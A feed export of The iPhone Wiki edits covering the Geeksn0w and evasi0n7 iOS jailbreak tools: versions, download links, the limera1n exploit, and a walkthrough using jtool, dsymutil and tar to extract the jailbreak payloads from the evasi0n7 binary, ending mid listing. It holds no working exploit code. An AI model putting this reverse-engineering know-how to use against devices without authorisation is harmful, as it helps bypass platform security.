		<summary type="html">&lt;p&gt;I3ppwn: /* The Semi-Tether */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{other|tethered jailbreak for iOS 7.1.x|untethered jailbreak for iOS 7.0.x|evasi0n7}}&lt;br /&gt;
{{Infobox software&lt;br /&gt;
| name                   = Geeksn0w&lt;br /&gt;
| title                  = Geeksn0w&lt;br /&gt;
| logo                   = [[File:Geeksn0w.png|75px]]&lt;br /&gt;
| screenshot             = [[File:Geeksn0w_2.8.2.png|250px]]&lt;br /&gt;
| caption                = Geeksn0w 2.8.2 on Windows 7&lt;br /&gt;
| author                 = [http://twitter.com/blackgeektuto BlackGeek]&lt;br /&gt;
| developer              = [http://twitter.com/blackgeektuto BlackGeek]&lt;br /&gt;
| released               = &lt;br /&gt;
| discontinued           = &lt;br /&gt;
| latest release version = 2.9&lt;br /&gt;
| latest release date    = {{Start date and age|2014|4|25|df=yes}}&lt;br /&gt;
| latest preview version = &lt;br /&gt;
| latest preview date    = &lt;br /&gt;
| programming language   = .NET Visual Basic&lt;br /&gt;
| operating system       = [[wikipedia:Microsoft Windows|Windows]]&lt;br /&gt;
| size                   = &lt;br /&gt;
| platform               = &lt;br /&gt;
| language               = [[wikipedia:English|English]]&lt;br /&gt;
| status                 = Active&lt;br /&gt;
| genre                  = Jailbreaking&lt;br /&gt;
| license                = [[wikipedia:Freeware|Freeware]]&lt;br /&gt;
| website                = [http://Geeksn0w.it Geeksn0w.it]&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
'''Geeksn0w''' is a [[jailbreak]] program that currently performs a semi-[[tethered jailbreak]] for the [[iPhone 4]] on iOS 7.1.x.&lt;br /&gt;
&lt;br /&gt;
== Supported Devices and Requirements==&lt;br /&gt;
The only supported devices are those of the [[iPhone 4]]. This is because Geeksn0w uses [[opensn0w]] and [[geohot]]'s [[limera1n exploit]] which is only available for [[A4]]-based devices and the [[iPhone 4]] is the only [[A4]] device that runs [[iOS]] 7.&lt;br /&gt;
Geeksn0w currently only supports Windows (unless you use BootCamp or another VM on your Mac to install Windows). Geeksn0w requires [http://www.oracle.com/technetwork/java/javase/downloads/jdk7-downloads-1880260.html Java Development Kit for 32-bit PCs] and [http://www.microsoft.com/net .NET Framework] installed on your computer to be able to run. Unlike other jailbreak tools (such as [[evasi0n7]]), Geeksn0w does not need iTunes to be installed.&lt;br /&gt;
&lt;br /&gt;
==Versions and Updates==&lt;br /&gt;
Geeksn0w originally performed an [[tethered jailbreak]] on [[iOS]] 7.0 on the [[iPhone 4]] until [[evasi0n7]] was released. BlackGeek then updated Geeksn0w to use the same exploits as [[evasi0n7]] for all devices. Versions 2.5 and above perform a tethered jailbreak on iOS 7.1 for the iPhone 4. Version 2.9 performs a semi-tethered jailbreak on iOS 7.1 and 7.1.1.&lt;br /&gt;
&lt;br /&gt;
===Download===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align:center;&amp;quot;&lt;br /&gt;
! Version&lt;br /&gt;
! OS&lt;br /&gt;
! Download&lt;br /&gt;
! Changelog&lt;br /&gt;
|-&lt;br /&gt;
! 2.5&lt;br /&gt;
| class=&amp;quot;noborderplz&amp;quot; rowspan=&amp;quot;8&amp;quot; | [[wikipedia:Microsoft Windows|Windows]]&lt;br /&gt;
| ?&lt;br /&gt;
| First release that jailbreaks iOS 7.1&lt;br /&gt;
|-&lt;br /&gt;
! 2.6&lt;br /&gt;
| ?&lt;br /&gt;
| ?&lt;br /&gt;
|-&lt;br /&gt;
! 2.7&lt;br /&gt;
| ?&lt;br /&gt;
| &lt;br /&gt;
* Added official Cydia 1.1.9 build&lt;br /&gt;
* Fixed Mail, Safari, Calculator and Weather crash after tetherboot&lt;br /&gt;
* Added auto-Hacktivation for locked iPhones&lt;br /&gt;
* Fixed a bug in the Progress Bar&lt;br /&gt;
* Added iDevice arch finder: now GeekSn0w can auto-detect your iPhone model&lt;br /&gt;
* Improved speed of root_fs mount&lt;br /&gt;
* Fixed mount.sh error&lt;br /&gt;
* Reduced the .exe size&lt;br /&gt;
* Speeded up the Jailbreak process&lt;br /&gt;
* Added AFC2 protocol (iFunBox, iExplorer)&lt;br /&gt;
|-&lt;br /&gt;
! 2.8&lt;br /&gt;
| [http://www.geeksn0w.it/GeekSn0w/Releases/Windows/geeksn0w_win_2.8_7c148dc55660b4466dade25aa19bb.zip geeksn0w.it]&lt;br /&gt;
| &lt;br /&gt;
* Fixed a huge bug of GeekSn0w's dfuarch extension&lt;br /&gt;
|-&lt;br /&gt;
! 2.8.1&lt;br /&gt;
| [http://www.geeksn0w.it/GeekSn0w/Releases/Windows/geeksn0w_win_2.8.1_0b65917a7fd23e279ac97763338ecf.zip geeksn0w.it]&lt;br /&gt;
| &lt;br /&gt;
* Removed &amp;quot;dfuarch&amp;quot;, now GeekSn0w uses iRecovery to identify the iPhone model&lt;br /&gt;
* Fixed &amp;quot;New Curses&amp;quot; installation error&lt;br /&gt;
|-&lt;br /&gt;
! 2.8.2&lt;br /&gt;
| [http://www.geeksn0w.it/GeekSn0w/Releases/Windows/geeksn0w_2.8.2_win_c7e3b8f62934143a93e69042c9de96f.zip geeksn0w.it]&lt;br /&gt;
| &lt;br /&gt;
* Fixed an issue with iPhone 3,2 and 3,3 Jailbreak's process&lt;br /&gt;
|-&lt;br /&gt;
! 2.8.3&lt;br /&gt;
| [http://www.geeksn0w.it/GeekSn0w/Releases/Windows/geeksn0w_win_2.8.3_3f17cffb2b38bc34a5d3dae91da8c2b.zip geeksn0w.it]&lt;br /&gt;
| &lt;br /&gt;
* Fixed an issue with New Curses installation&lt;br /&gt;
|-&lt;br /&gt;
! 2.9&lt;br /&gt;
| [http://www.geeksn0w.it/GeekSn0w/Releases/Windows/geeksn0w_win_2.9_6322a7e8d3b4bfefe9f585beb7d6d4a5.zip geeksn0w.it]&lt;br /&gt;
|&lt;br /&gt;
* Updated Jailbreak payload: now GeekSn0w executes a Semi-Untethered Jailbreak&lt;br /&gt;
* Updated .NET Framework version of some resources&lt;br /&gt;
* Removed Respring after any reboot: now all the hack stuff is executed during Apple Logo stage&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==How it works==&lt;br /&gt;
Geeksn0w uses msftguy and DevBug's SSH RamDisk tool which uses and [[geohot]]'s [[limera1n exploit]] to obtain root access. It then installs Cydia and mounts the root filesystem. It then uses [[opensn0w]] to boot the [[iPhone 4]] tethered. Geeksn0w is technically a GUI of [[opensn0w]] and ssh_rd.&lt;br /&gt;
===The Semi-Tether===&lt;br /&gt;
When the device is booted, it uses a LaunchDaemon to start a script in /gfix that reinstalls MobileSubstrate and PreferenceLoader from a local package and then kills the springboard and remounts the system partition as r/w. At installation time it sets the 'nvram' variable boot-args to true, which prevents [[Recovery Mode]]. However, it reinstalls MobileSubstrate and PreferenceLoader from a local package, which prevents [[saurik]] from updating it. It also kills the [[SpringBoard]] which adds additional boot time, and it remounts the fs after the first [[SpringBoard]]  launch, which may cause other LaunchDaemons that needs r/w at boot time to fail. This is why many people have made their own SemiTether packages that use the 'dirhelper' which is being executed during the boot, to remount the fs and looping through /etc/rc.d and execute every binary there, just like [[evasi0n7]] does, which directly injects MobileSubstrate. They then use 'auto-boot' to prevent Recovery Mode'. This resulting package boots faster and is far more efficient than the way it is currently used by.&lt;br /&gt;
&lt;br /&gt;
==The Semi-Tether==&lt;br /&gt;
*On April 21, 2014, BlackGeek announced on Twitter that he had achieved a [[Tethered_jailbreak#Using_a_tethered_(or_semi-tethered)_jailbreak|Semi-Tethered Jailbreak]] on the iPhone 4 on 7.1&amp;lt;ref&amp;gt;https://twitter.com/blackgeektuto/status/458283310100541441&amp;lt;/ref&amp;gt;. On April 25, BlackGeek updated Geeksn0w to version 2.9 which achieved a semi-tethered jailbreak for 7.1 or 7.1.1. He also added the semi-tether package to his repo (http://geekrepo.beiphone.it) for people who had already jailbroken tethered on 7.1 and wanted to upgrade to Semi-Tethered.&lt;br /&gt;
*The semi-untether is pretty simple it uses the mount_hfs binary to mount /dev/disk0s1s1 to /, The reason why this is not an untethered jb is because there is no kernel exploit.&lt;br /&gt;
&lt;br /&gt;
==Exploits==&lt;br /&gt;
*[[geohot]]'s [[Limera1n exploit]] - Tethered&lt;br /&gt;
*? - Semi-Tethered&lt;br /&gt;
&lt;br /&gt;
==See Also==&lt;br /&gt;
*[[Tethered jailbreak]]&lt;br /&gt;
*[[limera1n exploit]]&lt;br /&gt;
*[[opensn0w]]&lt;br /&gt;
*[http://twitter.com/blackgeektuto BlackGeek] on Twitter&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Jailbreaks]]&lt;/div&gt;</summary>
		<author><name>I3ppwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Evasi0n7&amp;diff=40194</id>
		<title>Evasi0n7</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Evasi0n7&amp;diff=40194"/>
		<updated>2014-02-27T18:15:16Z</updated>

		<summary type="html">&lt;p&gt;I3ppwn: Spelling Mistakes Corrected&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
{{other|untethered jailbreak for iOS 7|untethered jailbreak for iOS 6.0 through 6.1.2|evasi0n}}&lt;br /&gt;
{{Infobox software&lt;br /&gt;
| name                   = TinyUmbrella&lt;br /&gt;
| title                  = &lt;br /&gt;
| logo                   = [[File:Evasi0n.png|128px]]&lt;br /&gt;
| screenshot             = [[File:Evasi0n7.png|241px]]&lt;br /&gt;
| caption                = evasi0n7 1.0.4 on OS X&lt;br /&gt;
| author                 = [[evad3rs]]&lt;br /&gt;
| developer              = [[evad3rs]]&lt;br /&gt;
| released               = {{Start date|2013|12|22|df=yes}}&lt;br /&gt;
| discontinued           = &lt;br /&gt;
| latest release version = 1.0.5&lt;br /&gt;
| latest release date    = {{Start date and age|2014|2|5|df=yes}}&lt;br /&gt;
| latest preview version = &lt;br /&gt;
| latest preview date    = &lt;br /&gt;
| programming language   = C?&lt;br /&gt;
| operating system       = [[wikipedia:Microsoft Windows|Windows]] / [[wikipedia:OS X|OS X]]&lt;br /&gt;
| size                   = &lt;br /&gt;
| platform               = &lt;br /&gt;
| language               = [[wikipedia:English|English]]&lt;br /&gt;
| status                 = Active&lt;br /&gt;
| genre                  = Jailbreaking&lt;br /&gt;
| license                = [[wikipedia:Freeware|Freeware]]&lt;br /&gt;
| website                = [http://evasi0n.com evasi0n.com]&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
'''evasi0n7''' is a [[jailbreak]] program from the [[evad3rs]]. It performs an [[untethered jailbreak]] for all devices on iOS 7.0 through 7.1 beta 3, except the [[Apple TV]]. It was initially released on 22 December 2013, and became subject to [[#Controversy|controversy and criticism]]. On 28 December 2013, the Cydia package went live to saurik's repo.&lt;br /&gt;
&lt;br /&gt;
== Controversy ==&lt;br /&gt;
The release of evasi0n7 was met with sharp criticism. It came without advance notice, much to the dismay of jailbreak developers, including [[saurik]].&amp;lt;ref&amp;gt;https://twitter.com/saurik/status/414743665362231296&amp;lt;/ref&amp;gt; It is believed that this was done in response to [[User:Geohot|Geohot]] trying to sell the jailbreak,&amp;lt;ref&amp;gt;https://twitter.com/superMTW/status/414821856534081536&amp;lt;/ref&amp;gt; a claim which [[User:Geohot|Geohot]] later brushed off.&amp;lt;ref&amp;gt;https://twitter.com/tomcr00se/status/414826291309731840&amp;lt;/ref&amp;gt; In addition, if the user's language was set to Chinese, a different app store would be installed by default. This store contained cracked versions of [[App Store]] apps and [[Cydia]] apps.&amp;lt;ref&amp;gt;https://twitter.com/saurik/status/414810297937838080&amp;lt;/ref&amp;gt;&amp;lt;ref&amp;gt;https://twitter.com/chpwn/status/414879769872703488&amp;lt;/ref&amp;gt; The [[evad3rs]] were reportedly unaware of the included piracy when they formed the deal,&amp;lt;ref&amp;gt;[http://evasi0n.com/l.html Letter to the Community - evad3rs]&amp;lt;/ref&amp;gt; and remotely disabled its installation several hours later.&amp;lt;ref&amp;gt;https://twitter.com/pod2g/status/414942393830756352&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Supported Devices ==&lt;br /&gt;
The only unsupported devices are those of the [[Apple TV]] family. All other devices capable of running [[iOS]] 7 are supported.&lt;br /&gt;
&lt;br /&gt;
== Download ==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Version&lt;br /&gt;
! OS&lt;br /&gt;
! SHA-1 Hash&lt;br /&gt;
! colspan=&amp;quot;2&amp;quot; | Download&lt;br /&gt;
! Changes&lt;br /&gt;
|-&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; | 1.0.0&lt;br /&gt;
| [[wikipedia:OS X|OS X]]&lt;br /&gt;
| &amp;lt;code&amp;gt;6b22e1d94988a76244d08a5592576f61a0cb5ffb&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://evad3rs.app.box.com/s/q4xydmi2qzgqdhqr35i0 Box]&lt;br /&gt;
| [https://mega.co.nz/#!gp9z2RTJ!VWcrCkGWqGp-0Ijk4mKRQzE_ZdU1F0ojA5aKO7Ki7jo Mega]&lt;br /&gt;
| rowspan=&amp;quot;2&amp;quot; | Initial release&lt;br /&gt;
|-&lt;br /&gt;
| [[wikipedia:Microsoft Windows|Windows]]&lt;br /&gt;
| &amp;lt;code&amp;gt;8a4e1fcd7b1fc0084366c182cbcf850dfc45d59f&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://evad3rs.app.box.com/s/hzapsnk73mbrs770z50y Box]&lt;br /&gt;
| class=&amp;quot;rborderplz&amp;quot; | [https://mega.co.nz/#!Al0lEAzA!CEbvejP3cU2cstBT9w2apzLEMYAKFy8qu0K3Z6mjShA Mega]&lt;br /&gt;
|-&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; | 1.0.1&lt;br /&gt;
| OS X&lt;br /&gt;
| &amp;lt;code&amp;gt;12b98c49046157b6206d1c099fe872d6c5e79fb1&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://evad3rs.box.com/s/gux5ojfn1sbztkkf9u9g Box]&lt;br /&gt;
| [https://mega.co.nz/#!Q4d2GByI!D1lW_kLGtmH0sMgb7vdxFQMtQfEfeBPhykyJzcug3D4 Mega]&lt;br /&gt;
| rowspan=&amp;quot;2&amp;quot; | TaiG is not bundled and not installed anymore with evasi0n7 in Chinese language operating systems&lt;br /&gt;
|-&lt;br /&gt;
| Windows&lt;br /&gt;
| &amp;lt;code&amp;gt;52367f1fb3b71b38ad9ba3ac427a771a498790ad&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://evad3rs.box.com/s/u9ucoter5usl2at7ax29 Box]&lt;br /&gt;
| class=&amp;quot;rborderplz&amp;quot; | [https://mega.co.nz/#!U09F0LaL!NP9vXy72p652fFWBcR_4LiqX-t1HnG4qdHDcHUH2rGY Mega]&lt;br /&gt;
|-&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; | 1.0.2&lt;br /&gt;
| OS X&lt;br /&gt;
| &amp;lt;code&amp;gt;da8d03d9e678f5866af0babe1882fa27cd236bad&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://evad3rs.box.com/s/d3rjztbj6ism1067j3iz Box]&lt;br /&gt;
| [https://mega.co.nz/#!FtNw0CYa!XCgwIH7dBb4CJf5VLHM5KTFfZb9ms8iUYb1AlA4iGlc Mega]&lt;br /&gt;
| rowspan=&amp;quot;2&amp;quot; | Fix for [[k93ap|iPad 2 (iPad2,1)]]  boot loop issues.&lt;br /&gt;
|-&lt;br /&gt;
| Windows&lt;br /&gt;
| &amp;lt;code&amp;gt;d61c8cbb565efa7d651e3c6cdc8429e2446396d1&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://evad3rs.box.com/s/tlr9ruitbfdqt3nxv3li Box]&lt;br /&gt;
| class=&amp;quot;rborderplz&amp;quot; | [https://mega.co.nz/#!clEhBAZC!XG4Va2R4dHXj8sMddcJSNGgwkkRqHxgk73_n-FXC8KM Mega]&lt;br /&gt;
|-&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; | 1.0.3&lt;br /&gt;
| OS X&lt;br /&gt;
| &amp;lt;code&amp;gt;da50834734eb013982de5e6f7dda79660f655c18&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://evad3rs.box.com/s/nb6hq1wol2mrjbfuzkbv Box]&lt;br /&gt;
| [https://mega.co.nz/#!F4M1zT5R!OgcsCUwMbIjxdHniB321Bg787zkE60Q9hxFDLi8dc-c Mega]&lt;br /&gt;
| rowspan=&amp;quot;2&amp;quot; | &lt;br /&gt;
* Updated bundled Cydia&lt;br /&gt;
* Now double checking HFS modifications (for the [[j86ap|iPad mini 2G (iPad4,5)]] reboot loop issue)&lt;br /&gt;
* Support for iOS 7.1 beta 3&lt;br /&gt;
|-&lt;br /&gt;
| Windows&lt;br /&gt;
| &amp;lt;code&amp;gt;57e94aadcc30fc778dc0478ac6e89f19904adcf6&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://evad3rs.box.com/s/27bu5nlp7cvxd2eny86d Box]&lt;br /&gt;
| class=&amp;quot;rborderplz&amp;quot; | [https://mega.co.nz/#!clEhBAZC!XG4Va2R4dHXj8sMddcJSNGgwkkRqHxgk73_n-FXC8KM Mega]&lt;br /&gt;
|-&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; | 1.0.4&lt;br /&gt;
| OS X&lt;br /&gt;
| &amp;lt;code&amp;gt;879060a10942011da7ad5697e65122de6e25a3a1&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://evad3rs.box.com/s/w5d8jf1pjbsvcu6b5i49 Box]&lt;br /&gt;
| [https://mega.co.nz/#!ktMTkSwZ!fxcFv2wDaDTpHBBmXRAZ-3NlwAJgPNqa3Gi-WDe0O7M Mega]&lt;br /&gt;
| rowspan=&amp;quot;2&amp;quot; | &lt;br /&gt;
* Security fix: kernel payload now restores &amp;lt;code&amp;gt;sysent&amp;lt;/code&amp;gt; table&lt;br /&gt;
* Security fix: code fix for bootstrap Cydia tar files verification&lt;br /&gt;
|-&lt;br /&gt;
| Windows&lt;br /&gt;
| &amp;lt;code&amp;gt;3ef7cb618288a9ff1220a71a2f887e21779c3a16&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://evad3rs.box.com/s/w71wg4tv9s2m54ivzsfr Box]&lt;br /&gt;
| class=&amp;quot;rborderplz&amp;quot; | [https://mega.co.nz/#!xtUw3QaC!DtaNWFLUr9SroeG6OWg5t2s9a6EkD-qNqsb4amiRX3o Mega]&lt;br /&gt;
|-&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; | 1.0.5&lt;br /&gt;
| OS X&lt;br /&gt;
| &amp;lt;code&amp;gt;a81a7128113a7610371a2f9f99933a1dbd153c42&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://evad3rs.box.com/shared/static/gxbuuu3bax7hqvca4th5.dmg Box]&lt;br /&gt;
| [https://mega.co.nz/#!0oMFBTJS!YbZUVe6mRN039O5EnFbtkEWsm6wJc-8b_1LMWIoKIVY Mega]&lt;br /&gt;
| rowspan=&amp;quot;2&amp;quot; | Support for [[iOS]] 7.0.5.&lt;br /&gt;
|-&lt;br /&gt;
| Windows&lt;br /&gt;
| &amp;lt;code&amp;gt;5e09dfac4b4a0361492961109da72f6f18020d59&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://evad3rs.box.com/shared/static/ntgvz5os907szqm8wrm2.zip Box]&lt;br /&gt;
| class=&amp;quot;rborderplz&amp;quot; | [https://mega.co.nz/#!5oViQCwY!bojgnL1AvGBpJzySFHtdfBg17d6HBk5nWj4RJKjWj40 Mega]&lt;br /&gt;
|-&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; | 1.0.6&lt;br /&gt;
| OS X&lt;br /&gt;
| &amp;lt;code&amp;gt;f77a75a092dbbeb483e3138392253413355e2e17&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://evad3rs.box.com/shared/static/4r8pbr815z75xn180w29.dmg Box]&lt;br /&gt;
| [https://mega.co.nz/#!9kliwbLa!2fQKM0WmVZuCDTKC4N5u6v_bROaluqU8NSUbpOu0ifs Mega]&lt;br /&gt;
| rowspan=&amp;quot;2&amp;quot; | Support for [[iOS]] 7.0.6.&lt;br /&gt;
|-&lt;br /&gt;
| Windows&lt;br /&gt;
| &amp;lt;code&amp;gt;5bda570b03aebad86286dd446bb4a1edf015b051&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://evad3rs.box.com/shared/static/6gkfbxr0d1cmxls4gdkl.zip Box]&lt;br /&gt;
| class=&amp;quot;nobrradiusplz rborderplz &amp;quot; | [https://mega.co.nz/#!o1FAUIzD!9byg8ik89yxSCkT5VTK8Xqhw_SYDKVIo41zO5_gOTJ0 Mega]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Research ==&lt;br /&gt;
&lt;br /&gt;
=== Mach-O (OS X binary) ===&lt;br /&gt;
&lt;br /&gt;
evasi0n7 is a single architecture (i386) unsigned binary. The app is self-contained, meaning it packages all of its resources into the Mach-O. Using [http://www.newosxbook.com/files/jtool.tar jtool] to inspect the Mach-O header of the binary shows that there is some added sections in the &amp;lt;code&amp;gt;__DATA&amp;lt;/code&amp;gt; segment.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
    bash$ &amp;lt;b&amp;gt;jtool -l ./evasi0n\ 7.app/Contents/MacOS/evasi0n7&amp;lt;/b&amp;gt;&lt;br /&gt;
    ...&lt;br /&gt;
    LC 02: LC_SEGMENT            	Mem: 0x00170000-0x01d09000 __DATA&lt;br /&gt;
    	Mem: 0x00170000-0x00170008		__DATA.__dyld              &lt;br /&gt;
    	Mem: 0x00170008-0x00170060		__DATA.__nl_symbol_ptr     (Non-Lazy Symbol Ptrs)&lt;br /&gt;
    	Mem: 0x00170060-0x001703d4		__DATA.__la_symbol_ptr     (Lazy Symbol Ptrs)&lt;br /&gt;
    	Mem: 0x001703d4-0x001703d8		__DATA.__mod_init_func     (Module Init Function Ptrs)&lt;br /&gt;
    	Mem: 0x001703d8-0x001705d0		__DATA.__const             &lt;br /&gt;
    	Mem: 0x001705d0-0x00171c14		__DATA.__data              &lt;br /&gt;
    	Mem: 0x00171c14-0x00171c64		__DATA.__cfstring          &lt;br /&gt;
    &amp;lt;b&amp;gt;	Mem: 0x00171c64-0x001a942d		__DATA.data_3              &lt;br /&gt;
    	Mem: 0x001a942d-0x0087b92c		__DATA.data_4              &lt;br /&gt;
    	Mem: 0x0087b92c-0x0087be18		__DATA.data_5              &lt;br /&gt;
    	Mem: 0x0087be18-0x0087c2f8		__DATA.data_6              &lt;br /&gt;
    	Mem: 0x0087c2f8-0x008fb944		__DATA.data_7              &lt;br /&gt;
    	Mem: 0x008fb944-0x008fba7f		__DATA.data_8              &lt;br /&gt;
    	Mem: 0x008fba7f-0x008fbeac		__DATA.data_9              &lt;br /&gt;
    	Mem: 0x008fbeac-0x0160f3a1		__DATA.data_10             &lt;br /&gt;
    	Mem: 0x0160f3a1-0x016101ac		__DATA.data_11             &lt;br /&gt;
    	Mem: 0x016101ac-0x01d083dd		__DATA.data_12         &amp;lt;/b&amp;gt;   &lt;br /&gt;
    	Mem: 0x01d08400-0x01d084cc		__DATA.__common            (Zero Fill)&lt;br /&gt;
    	Mem: 0x01d084cc-0x01d0866c		__DATA.__bss               (Zero Fill)&lt;br /&gt;
    		&lt;br /&gt;
    ...&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Mach-O ABI&amp;lt;ref&amp;gt;https://developer.apple.com/library/mac/documentation/DeveloperTools/Conceptual/MachORuntime/Reference/reference.html#//apple_ref/doc/uid/TP40000895-CH248-95693&amp;lt;/ref&amp;gt; describes the __DATA segment as:&lt;br /&gt;
    &amp;lt;blockquote&amp;gt;The __DATA segment contains writable data. The static linker sets the virtual memory permissions of this segment to allow both reading and writing. Because it is writable, the __DATA segment of a framework or other shared library is logically copied for each process linking with the library. When memory pages such as those making up the __DATA segment are readable and writable, the kernel marks them copy-on-write; therefore when a process writes to one of these pages, that process receives its own private copy of the page.&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
This means additional sections can be added using compiler flags, and these will be treated as raw data and added to the header and binary contents. Specifically they were called '''data_3''' through '''data_12''', and this is where the payloads used for jailbreak process are stored. At runtime, the evasi0n app was loading these data segments into memory to prepare to use them when jailbreaking.&lt;br /&gt;
&lt;br /&gt;
=== Payload Extraction ===&lt;br /&gt;
The locations of the payloads have been identified, and they can be extracted and examined. To extract the payloads from the binary and dump the data into a file that can be examined:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
    bash$ &amp;lt;b&amp;gt;jtool -e __DATA.data_3 ./evasi0n\ 7.app/Contents/MacOS/evasi0n7&amp;lt;/b&amp;gt;&lt;br /&gt;
    Requested section found at Offset 1510500&lt;br /&gt;
    Extracting __DATA.data_3 at 1510500, 227273 (377c9) bytes into evasi0n7.__DATA.data_3&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Payload Format ===&lt;br /&gt;
&lt;br /&gt;
Before examining the dumped payload files, some information can be gathered from other parts of the Mach-O binary. By dumping the symbol table from the binary, it is possible to see the names of functions used in the binary that are linked to in external libraries. Something that stands out in the evasi0n binary is the usage of the gzip library.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
    bash $ &amp;lt;b&amp;gt;dsymutil -s ./evasi0n\ 7.app/Contents/MacOS/evasi0n7&amp;lt;/b&amp;gt;&lt;br /&gt;
    ----------------------------------------------------------------------&lt;br /&gt;
    Symbol table for: './evasi0n 7.app/Contents/MacOS/evasi0n7' (i386)&lt;br /&gt;
    ----------------------------------------------------------------------&lt;br /&gt;
    Index    n_strx   n_type             n_sect n_desc n_value&lt;br /&gt;
    ======== -------- ------------------ ------ ------ ----------------&lt;br /&gt;
    ...&lt;br /&gt;
    [   164] 00000ab1 01 (     UNDF EXT) 00     0a00   0000000000000000 '_getcwd'&lt;br /&gt;
    [   165] 00000ab9 01 (     UNDF EXT) 00     0a00   0000000000000000 '_getsectdata'&lt;br /&gt;
	&amp;quot;_getsectdata&amp;quot; Suggests it is used to get the data from a particular data section from the Mach-O header&lt;br /&gt;
    [   166] 00000ac6 01 (     UNDF EXT) 00     0100   0000000000000000 '_gzclose'&lt;br /&gt;
    [   167] 00000acf 01 (     UNDF EXT) 00     0100   0000000000000000 '_gzopen'&lt;br /&gt;
    [   168] 00000ad7 01 (     UNDF EXT) 00     0100   0000000000000000 '_gzread'&lt;br /&gt;
    [   169] 00000adf 01 (     UNDF EXT) 00     0100   0000000000000000 '_gzseek'&lt;br /&gt;
    [   170] 00000ae7 01 (     UNDF EXT) 00     0100   0000000000000000 '_inflate'&lt;br /&gt;
    [   171] 00000af0 01 (     UNDF EXT) 00     0100   0000000000000000 '_inflateEnd'&lt;br /&gt;
    [   172] 00000afc 01 (     UNDF EXT) 00     0100   0000000000000000 '_inflateInit2_'&lt;br /&gt;
    ...&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
From that, it can be deduced that the payloads that were extracted are compressed using gzip. This can be verified by running the command &amp;lt;code&amp;gt;file&amp;lt;/code&amp;gt; on the extracted payloads.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
    bash $ &amp;lt;b&amp;gt;file ./evasi0n7.__DATA.data_3 &amp;lt;/b&amp;gt;&lt;br /&gt;
    evasi0n7.__DATA.data_3: gzip compressed data, from Unix, last modified: Sun Dec 22 05:54:11 2013&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
After decompressing the gzip file there is a new file, again test that with &amp;lt;code&amp;gt;file&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
    bash $ &amp;lt;b&amp;gt;mv ./evasi0n7.__DATA.data_3 ./evasi0n7.__DATA.data_3.gz&amp;lt;/b&amp;gt;&lt;br /&gt;
    bash $ &amp;lt;b&amp;gt;gunzip ./evasi0n7.__DATA.data_3.gz&amp;lt;/b&amp;gt;&lt;br /&gt;
    bash $ &amp;lt;b&amp;gt;file ./evasi0n7.__DATA.data_3&amp;lt;/b&amp;gt;&lt;br /&gt;
    evasi0n7.__DATA.data_3: POSIX tar archive&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Seems that the payloads were stored as simply &amp;lt;code&amp;gt;.tar.gz&amp;lt;/code&amp;gt; files dumped directly into the Mach-O header of the binary.&lt;br /&gt;
&lt;br /&gt;
=== Payload Contents ===&lt;br /&gt;
&lt;br /&gt;
Now having an understanding of how the payloads were supposed to be used and packaged, their contents can be examined in detail to see what they are used for.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
    bash $ &amp;lt;b&amp;gt;tar ztvf ./evasi0n7.__DATA.data_3 &amp;lt;/b&amp;gt;&lt;br /&gt;
    drwxr-xr-x  0 planetbeing staff       0 Dec 22 00:20 ./&lt;br /&gt;
    drwxr-xr-x  0 planetbeing staff       0 Dec 17 18:27 ./Applications/&lt;br /&gt;
    drwxr-xr-x  0 planetbeing staff       0 Dec 21 07:25 ./etc/&lt;br /&gt;
